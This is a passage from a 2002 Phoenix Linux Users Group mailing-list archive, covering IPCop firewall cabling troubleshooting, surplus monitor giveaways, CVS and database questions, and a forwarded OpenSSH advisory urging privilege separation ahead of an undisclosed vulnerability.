desktop-oriented Linux distributions and productivity tools. To turbocharge this year's wIndependence Day celebration, DesktopLinux.com is inviting readers to send in their 500-1000 word accounts of how they have 'kicked the Windows habit' or implemented Linux as a Windows-alternative in their company or organization. Twenty-five of the best essays submitted by midnight July 3rd will be selected for publication at DesktopLinux.com beginning on July 4th, and their authors will be awarded prizes. Read the full story here and enter today! ===================================================================== Jill Ratkevic - jill@desktoplinux.com - 408-209-5181 Producer, DesktopLinux.com / Associate Producer, Linuxdevices.com LinuxDevices.com ... "the Embedded Linux Portal" DesktopLinux.com ... "Join the Desktop Linux Revolution!" DeviceForge, LLC -- PO Box 60973, Palo Alto, CA 94306 -- 650-325-9672 ==================================================================== - ------------------------------------------------------- - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRcUPisk3ywszI1FEQIQiACff772LuWTY3IrNDi+y+5k5MJPIPYAoK3l 48QBHBiesvmy/uUNrk1+Z3Sr =qoWJ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 16:20:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gilbert T. Gutierrez, Jr.) Date: Mon, 24 Jun 2002 09:20:58 -0700 Subject: IPCop In-Reply-To: <20020623230000.0a02a67a.snoogans@qwest.net> Message-ID: Is the cable connecting the firewall to the hub lighting up the port light on the hub? I agree with Anthony, it sounds like a physical layer issue. Gilbert -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of robert jorgenson Sent: Sunday, June 23, 2002 11:00 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: IPCop what do you mean? i have it set up like this internet --> gateway box --> firewall --> hub --> network is there something wrong with that that i dont know about? On Sun, 23 Jun 2002 19:50:25 -0700 "tickticker" wrote: > you do have the green nic cat5 cable plugged into another rj45 jack? you > may need a crossover cable for this. sounds like the physical layer > possibly. > > anthony > > ----- Original Message ----- > From: "robert jorgenson" > To: > Sent: Sunday, June 23, 2002 1:36 PM > Subject: Re: IPCop > > > > okay an update in progress ... i am very sure its something i am doing > wrong now because i have tried two different NIC's and both of them work > fine as the RED NIC but not the GREEN NIC. what happens is the red nic works > fine and my firewall gets internet but its not forwarding it out to the rest > of my network. the green NIC isn't even lit up in the back. what am i doing > wrong? i followed the instructions on thier website but it wont work =/ > > > > On Sun, 23 Jun 2002 01:05:08 -0700 > > "robert jorgenson" wrote: > > > > > i was at the installfest today and installed IPCop on an extra box that > i had, im trying to figure out how i need to set it up, i have qwest's vdsl > which means that there is this gateway box sitting in our living room with a > TV cable in and a TV cable and ethernate cable out acting as a dhcp server. > I would assume i setup IPCop to get its ip from the gateway box and set it > to act as a dhcp server for the rest of my network, however i am very new to > networking and i am not sure exactly if that will work or what i have to do, > any pointers in the right direction would be great :) Im reading the docs on > the IPCop website right now hopefully i will come up with something from > there too. > > > > > > -Robert > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 17:20:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 24 Jun 2002 10:20:37 -0700 (PDT) Subject: 15" Monitors available Message-ID: Silly me, I should have included monitors with the computers I was selling/donating previously. Anywho, I've got about 47 bazillion 15" monitors for your computing enjoyment. Say, $20 each? I might even give a discount if you buy in bulk. ;-) If you're a non-profit, the same rules apply as before with the computers. I'll need a receipt for the monitors with the total price (even though you'll get them for free). So stock up on monitors today! Hurry, while supplies last! Operators are standing by... ~M From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 17:54:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Mon, 24 Jun 2002 10:54:18 -0700 Subject: IPCop In-Reply-To: References: <20020623230000.0a02a67a.snoogans@qwest.net> Message-ID: <20020624105418.34bc7aff.snoogans@qwest.net> no its not, i figured it wasn't lighting up because it wasn't configured right and wasn't sending anythign out so it didn't light up, what kind of solutions could there be to this problem On Mon, 24 Jun 2002 09:20:58 -0700 "Gilbert T. Gutierrez, Jr." wrote: > Is the cable connecting the firewall to the hub lighting up the port light > on the hub? I agree with Anthony, it sounds like a physical layer issue. > > Gilbert > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of robert > jorgenson > Sent: Sunday, June 23, 2002 11:00 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: IPCop > > > what do you mean? i have it set up like this > > internet --> gateway box --> firewall --> hub --> network > > is there something wrong with that that i dont know about? > > On Sun, 23 Jun 2002 19:50:25 -0700 > "tickticker" wrote: > > > you do have the green nic cat5 cable plugged into another rj45 jack? you > > may need a crossover cable for this. sounds like the physical layer > > possibly. > > > > anthony > > > > ----- Original Message ----- > > From: "robert jorgenson" > > To: > > Sent: Sunday, June 23, 2002 1:36 PM > > Subject: Re: IPCop > > > > > > > okay an update in progress ... i am very sure its something i am doing > > wrong now because i have tried two different NIC's and both of them work > > fine as the RED NIC but not the GREEN NIC. what happens is the red nic > works > > fine and my firewall gets internet but its not forwarding it out to the > rest > > of my network. the green NIC isn't even lit up in the back. what am i > doing > > wrong? i followed the instructions on thier website but it wont work =/ > > > > > > On Sun, 23 Jun 2002 01:05:08 -0700 > > > "robert jorgenson" wrote: > > > > > > > i was at the installfest today and installed IPCop on an extra box > that > > i had, im trying to figure out how i need to set it up, i have qwest's > vdsl > > which means that there is this gateway box sitting in our living room with > a > > TV cable in and a TV cable and ethernate cable out acting as a dhcp > server. > > I would assume i setup IPCop to get its ip from the gateway box and set it > > to act as a dhcp server for the rest of my network, however i am very new > to > > networking and i am not sure exactly if that will work or what i have to > do, > > any pointers in the right direction would be great :) Im reading the docs > on > > the IPCop website right now hopefully i will come up with something from > > there too. > > > > > > > > -Robert > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 18:18:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Mon, 24 Jun 2002 11:18:13 -0700 Subject: Plug Logo Update In-Reply-To: References: Message-ID: <200206241118.13508.zen2now@qwest.net> i spoke with austin, and sometime this week he will make available the master. slr On Thursday 20 June 2002 05:39 pm, Matt Wyant wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > is there a master format you can post? such as a PNG, PSD, etc. with > layers and sprites intact? > > > "Black holes are where God divided by zero." > -- Steven Wright > > matt wyant | friend, gentleman, scholar > zanfar@nospam.zanfar.com > > - -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of slr > Sent: Thursday, June 20, 2002 5:27 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Plug Logo Update > > > well austin is the man, he is done. so for all you guys and gals who > are > interested. you can view the image @ > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > and of coarse feed back is welcome, just be nice. :~D > > slr > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > I just wanted to give you guys an update on the progress of the new > > image. Austin is done with the complete re-draw of Tux, and i must > > say it is the most beautiful computer generated Tux image i have > > ever seen. the lines are so clean, and aliasing is non-existent on > > the edges and should remain that way no matter how big or small the > > image is. he would have already been done with it, but our CEO has > > slammed him with a lot of work. so hopefully by next week sometime > > we will have a complete vector image, and by looks of it so far, > > one we will all be very proud to hang across our upper torso's. :~D > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write > > mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 6.5.8 for non-commercial use > > iQA/AwUBPRJ11I4p6zlv2o83EQJlBACg9QPRRwpUtFagsZmx+4ohqId7Or4An03Z > NHVf8BG+YOR87OAQxXS7VtaB > =rRqv > -----END PGP SIGNATURE----- > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 18:16:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Hustis) Date: Mon, 24 Jun 2002 11:16:05 -0700 Subject: 15" Monitors available In-Reply-To: Message-ID: <5.1.0.14.0.20020624111452.026f8bb0@teltrax.com> I'm very interested in obtaining four or five of these. Should I contact you off the list, or are you going to set a date for pick up the way you did before? At 10:20 AM 06/24/2002 -0700, you wrote: >Silly me, I should have included monitors with the computers I was >selling/donating previously. Anywho, I've got about 47 bazillion 15" >monitors for your computing enjoyment. Say, $20 each? I might even give >a discount if you buy in bulk. ;-) If you're a non-profit, the same >rules apply as before with the computers. I'll need a receipt for the >monitors with the total price (even though you'll get them for free). >So stock up on monitors today! Hurry, while supplies last! Operators are >standing by... >~M > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 18:33:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 24 Jun 2002 11:33:51 -0700 Subject: Install Fest Leftovers Message-ID: <02062411335104.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 OK - I have two meeses and a keyboard and two multiport hubs that I took home from the Install Fest. The owners can either claim them (I know who you are) or rest assured that they have found a good home. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRdmDysk3ywszI1FEQIS4ACgvcOP+2BpppZfUxTDM5ajsqxJYwkAniak uK4OiqqB4g+PwczG1TTkv5du =J8I2 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 18:44:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Mon, 24 Jun 2002 11:44:27 -0700 Subject: mail aliases, mailing lists and netscape mail client Message-ID: <3D17688B.1020907@esaravana.com> Hello, I have couple of mail aliases for my base e-mail address( linux@esaravana.com ). Eg, adrenaline@esaravana.com for my rock climbing group. I use appropriate alias to subscribe to different groups and receive mails. The problem comes when I post messages to the group. The mail goes back as my base e-mail address( linux@esaravna.com ), rather than as my aliased e-mail address( adrenaline@esaravana.com ) and gets rejected. Is there anyway I can add mail aliases to Netscape mail client and choose appropriately as I send mails. Or should I do anything on my mail server. I am running RedHat 7.1 with Sendmail as my smtp server. Sundar From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 18:50:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gilbert T. Gutierrez, Jr.) Date: Mon, 24 Jun 2002 11:50:01 -0700 Subject: IPCop In-Reply-To: <20020624105418.34bc7aff.snoogans@qwest.net> Message-ID: 1. Your cable may be bad. 2. You may be using a cross over cable instead of a standard ethernet cable. 3. You may be plugging into an uplink port instead of a standard port. 4. You may be plugging into a port that is shared with another port (often an uplink port and the port nearest to it are the same port and you cannot have something in both) Solution... If your plugging into an uplink port, use a cross over cable If you are plugging into a standard port use a standard ethernet cable. Gilbert -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of robert jorgenson Sent: Monday, June 24, 2002 10:54 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: IPCop no its not, i figured it wasn't lighting up because it wasn't configured right and wasn't sending anythign out so it didn't light up, what kind of solutions could there be to this problem On Mon, 24 Jun 2002 09:20:58 -0700 "Gilbert T. Gutierrez, Jr." wrote: > Is the cable connecting the firewall to the hub lighting up the port light > on the hub? I agree with Anthony, it sounds like a physical layer issue. > > Gilbert > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of robert > jorgenson > Sent: Sunday, June 23, 2002 11:00 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: IPCop > > > what do you mean? i have it set up like this > > internet --> gateway box --> firewall --> hub --> network > > is there something wrong with that that i dont know about? > > On Sun, 23 Jun 2002 19:50:25 -0700 > "tickticker" wrote: > > > you do have the green nic cat5 cable plugged into another rj45 jack? you > > may need a crossover cable for this. sounds like the physical layer > > possibly. > > > > anthony > > > > ----- Original Message ----- > > From: "robert jorgenson" > > To: > > Sent: Sunday, June 23, 2002 1:36 PM > > Subject: Re: IPCop > > > > > > > okay an update in progress ... i am very sure its something i am doing > > wrong now because i have tried two different NIC's and both of them work > > fine as the RED NIC but not the GREEN NIC. what happens is the red nic > works > > fine and my firewall gets internet but its not forwarding it out to the > rest > > of my network. the green NIC isn't even lit up in the back. what am i > doing > > wrong? i followed the instructions on thier website but it wont work =/ > > > > > > On Sun, 23 Jun 2002 01:05:08 -0700 > > > "robert jorgenson" wrote: > > > > > > > i was at the installfest today and installed IPCop on an extra box > that > > i had, im trying to figure out how i need to set it up, i have qwest's > vdsl > > which means that there is this gateway box sitting in our living room with > a > > TV cable in and a TV cable and ethernate cable out acting as a dhcp > server. > > I would assume i setup IPCop to get its ip from the gateway box and set it > > to act as a dhcp server for the rest of my network, however i am very new > to > > networking and i am not sure exactly if that will work or what i have to > do, > > any pointers in the right direction would be great :) Im reading the docs > on > > the IPCop website right now hopefully i will come up with something from > > there too. > > > > > > > > -Robert > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 19:07:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 24 Jun 2002 12:07:37 -0700 (PDT) Subject: 15" Monitors available In-Reply-To: <5.1.0.14.0.20020624111452.026f8bb0@teltrax.com> Message-ID: Give me some advance warning before you stop by and also let me know the number of monitors you'd like. For example, "I'll be by on Wednesday at 10AM to pick up 4 monitors." would be great, that way I can be where I need to be. The monitors are available at New Vision, located at 1920 E Broadway Rd. in Tempe. Thanks, ~M On Mon, 24 Jun 2002, Patrick Hustis wrote: > > I'm very interested in obtaining four or five of these. Should I contact > you off the list, or are you going to set a date for pick up the way you > did before? > > > > At 10:20 AM 06/24/2002 -0700, you wrote: > >Silly me, I should have included monitors with the computers I was > >selling/donating previously. Anywho, I've got about 47 bazillion 15" > >monitors for your computing enjoyment. Say, $20 each? I might even give > >a discount if you buy in bulk. ;-) If you're a non-profit, the same > >rules apply as before with the computers. I'll need a receipt for the > >monitors with the total price (even though you'll get them for free). > >So stock up on monitors today! Hurry, while supplies last! Operators are > >standing by... > >~M > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 19:23:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Mon, 24 Jun 2002 12:23:40 -0700 (PDT) Subject: 15" Monitors available Message-ID: <20020624192340.18713.qmail@web10604.mail.yahoo.com> Hey Matt: Did you say you were in Tempe? I wouldn't mind picking up a monitor for cheap... Where can I pick one up? ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 22:20:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 24 Jun 2002 15:20:25 -0700 Subject: CVS via SSH issues Message-ID: <20020624152025.A27515@nadesico> Okay, maybe I'm doing something _completely_ wrong in here somewhere, but I'm experiencing problems doing a CVS checkout operation via SSH. Either CVS or SSH is hanging after checking out the last file in a module. Here's the scenario: [mondoshawan@nadesico:~]$ echo $CVSROOT :ext:mondoshawan@thing:/var/cvs [mondoshawan@nadesico:~]$ echo $CVS_RSH ssh [mondoshawan@nadesico:~]$ cvs co common mondoshawan@thing's password: U common/classes/srep/live/MsgTopicPostable.php U common/classes/srep/live/Nav.php (...ad infinitum...) U common/functions/session.php Just after dealing with that last file, it hangs. It just so happens that common/functions/session.php is the last file it needs to checkout. When I do the checkout locally on Thing, I don't have any problems. Additionally, other coworkers don't have this issue (both Mac OS X and Debian Linux), so I'm guessing it's an issue on my local machine. Any ideas? -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 22:22:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Mon, 24 Jun 2002 15:22:31 -0700 Subject: PostgreSQL versus MySQL Message-ID: <15639.39847.826426.684817@bela.interhack.net> To persons who have knowledge of both MySQL and PostgreSQL: Could someone characterize the highlights and differences, particularly regarding PostgreSQL? I've been working on a project where I suggested using MySQL, with which I am sufficiently familiar to just jump right in and start using it to design a database, tables, etc. However, I know utterly nothing about PostgreSQL, and the person I'm working for believes it would be a better choice for the project we're working on, and also doesn't mind the time it will take for me to come up to speed on it. No problem there, I'm always happy for someone to pay me to learn something new, but I also need to get a handle on it as quickly as possible. Any short bullet list of comparisons would be much appreciated. And lest I forget -- congratulations to PLUG on pulling off what was apparently a successful event this past weekend. I was not able to be there myself, but encouraged others to go. -- Lynn David Newton Phoenix, AZ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 22:59:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Benjamin Bostow) Date: 24 Jun 2002 15:59:55 -0700 Subject: OpenSSL encryption Message-ID: <1024959596.2419.20.camel@localhost.localdomain> What is the strength of the encryption in OpenSSL and OpenSSH? Is there a way to limit it to 56-bit for export and not allow the 128-bit? Ben From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 22:28:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Mon, 24 Jun 2002 15:28:20 -0700 Subject: [Fwd: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability] Message-ID: <3D179D04.8090902@deru.com> For your SA'n enjoyment -------- Original Message -------- Subject: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability Date: Mon, 24 Jun 2002 23:06:31 +0200 From: Markus Friedl Reply-To: openssh@openssh.com To: openssh-unix-announce@mindrot.org, openssh-unix-dev@mindrot.org References: <200206242100.g5OL0BLL019128@cvs.openbsd.org> On Mon, Jun 24, 2002 at 03:00:10PM -0600, Theo de Raadt wrote: > Date: Mon, 24 Jun 2002 15:00:10 -0600 > From: Theo de Raadt > Subject: Upcoming OpenSSH vulnerability > To: bugtraq@securityfocus.com > Cc: announce@openbsd.org > Cc: dsi@iss.net > Cc: misc@openbsd.org > > There is an upcoming OpenSSH vulnerability that we're working on with > ISS. Details will be published early next week. > > However, I can say that when OpenSSH's sshd(8) is running with priv > seperation, the bug cannot be exploited. > > OpenSSH 3.3p was released a few days ago, with various improvements > but in particular, it significantly improves the Linux and Solaris > support for priv sep. However, it is not yet perfect. Compression is > disabled on some systems, and the many varieties of PAM are causing > major headaches. > > However, everyone should update to OpenSSH 3.3 immediately, and enable > priv seperation in their ssh daemons, by setting this in your > /etc/ssh/sshd_config file: > > UsePrivilegeSeparation yes > > Depending on what your system is, privsep may break some ssh > functionality. However, with privsep turned on, you are immune from > at least one remote hole. Understand? > > 3.3 does not contain a fix for this upcoming bug. > > If priv seperation does not work on your operating system, you need to > work with your vendor so that we get patches to make it work on your > system. Our developers are swamped enough without trying to support > the myriad of PAM and other issues which exist in various systems. > You must call on your vendors to help us. > > Basically, OpenSSH sshd(8) is something like 27000 lines of code. A > lot of that runs as root. But when UsePrivilegeSeparation is enabled, > the daemon splits into two parts. A part containing about 2500 lines > of code remains as root, and the rest of the code is shoved into a > chroot-jail without any privs. This makes the daemon less vulnerable > to attack. > > We've been trying to warn vendors about 3.3 and the need for privsep, > but they really have not heeded our call for assistance. They have > basically ignored us. Some, like Alan Cox, even went further stating > that privsep was not being worked on because "Nobody provided any info > which proves the problem, and many people dont trust you theo" and > suggested I "might be feeding everyone a trojan" (I think I'll publish > that letter -- it is just so funny). HP's representative was > downright rude, but that is OK because Compaq is retiring him. Except > for Solar Designer, I think none of them has helped the OpenSSH > portable developers make privsep work better on their systems. > Apparently Solar Designer is the only person who understands the need > for this stuff. > > So, if vendors would JUMP and get it working better, and send us > patches IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday > which supports these systems better. So send patches by Thursday > night please. Then on Tuesday or Wednesday the complete bug report > with patches (and exploits soon after I am sure) will hit BUGTRAQ. > > Let me repeat: even if the bug exists in a privsep'd sshd, it is not > exploitable. Clearly we cannot yet publish what the bug is, or > provide anyone with the real patch, but we can try to get maximum > deployement of privsep, and therefore make it hurt less when the > problem is published. > > So please push your vendor to get us maximally working privsep patches > as soon as possible! > > We've given most vendors since Friday last week until Thursday to get > privsep working well for you so that when the announcement comes out > next week their customers are immunized. That is nearly a full week > (but they have already wasted a weekend and a Monday). Really I think > this is the best we can hope to do (this thing will eventually leak, > at which point the details will be published). > > Customers can judge their vendors by how they respond to this issue. > > OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away. > On OpenBSD privsep works flawlessly, and I have reports that is also > true on NetBSD. All other systems appear to have minor or major > weaknesses when this code is running. > > (securityfocus postmaster; please post this through immediately, since > i have bcc'd over 30 other places..) _______________________________________________ openssh-unix-announce@mindrot.org mailing list http://www.mindrot.org/mailman/listinfo/openssh-unix-announce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 23:33:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Mon, 24 Jun 2002 16:33:10 -0700 Subject: [Fwd: Re: [discuss] Upcoming OpenSSH vulnerability] Message-ID: <3D17AC36.8020104@deru.com> This is a multi-part message in MIME format. --------------080706000507070407060207 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit -------- Original Message -------- Subject: Re: [discuss] Upcoming OpenSSH vulnerability Date: Mon, 24 Jun 2002 15:42:46 -0600 From: Vincent Danen Reply-To: discuss@mandrakesecure.net Organization: Danen Consulting Services (www.danen.net) To: discuss@mandrakesecure.net References: On Mon Jun 24, 2002 at 03:21:24PM -0600, Daniel Woods wrote: > FYI... Updates are currently in the works. The vulnerability, as stated is not yet public. I am close to having openssh built for all supported platforms and just need to test them all now. > Date: Mon, 24 Jun 2002 23:06:31 +0200 > From: Markus Friedl > Reply-To: openssh@openssh.com > To: openssh-unix-announce@mindrot.org, openssh-unix-dev@mindrot.org > Subject: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability > > > On Mon, Jun 24, 2002 at 03:00:10PM -0600, Theo de Raadt wrote: > > Date: Mon, 24 Jun 2002 15:00:10 -0600 > > From: Theo de Raadt > > Subject: Upcoming OpenSSH vulnerability > > To: bugtraq@securityfocus.com > > Cc: announce@openbsd.org > > Cc: dsi@iss.net > > Cc: misc@openbsd.org > > > > There is an upcoming OpenSSH vulnerability that we're working on with > > ISS. Details will be published early next week. > > > > However, I can say that when OpenSSH's sshd(8) is running with priv > > seperation, the bug cannot be exploited. > > > > OpenSSH 3.3p was released a few days ago, with various improvements > > but in particular, it significantly improves the Linux and Solaris > > support for priv sep. However, it is not yet perfect. Compression is > > disabled on some systems, and the many varieties of PAM are causing > > major headaches. > > > > However, everyone should update to OpenSSH 3.3 immediately, and enable > > priv seperation in their ssh daemons, by setting this in your > > /etc/ssh/sshd_config file: > > > > UsePrivilegeSeparation yes > > > > Depending on what your system is, privsep may break some ssh > > functionality. However, with privsep turned on, you are immune from > > at least one remote hole. Understand? > > > > 3.3 does not contain a fix for this upcoming bug. > > > > If priv seperation does not work on your operating system, you need to > > work with your vendor so that we get patches to make it work on your > > system. Our developers are swamped enough without trying to support > > the myriad of PAM and other issues which exist in various systems. > > You must call on your vendors to help us. > > > > Basically, OpenSSH sshd(8) is something like 27000 lines of code. A > > lot of that runs as root. But when UsePrivilegeSeparation is enabled, > > the daemon splits into two parts. A part containing about 2500 lines > > of code remains as root, and the rest of the code is shoved into a > > chroot-jail without any privs. This makes the daemon less vulnerable > > to attack. > > > > We've been trying to warn vendors about 3.3 and the need for privsep, > > but they really have not heeded our call for assistance. They have > > basically ignored us. Some, like Alan Cox, even went further stating > > that privsep was not being worked 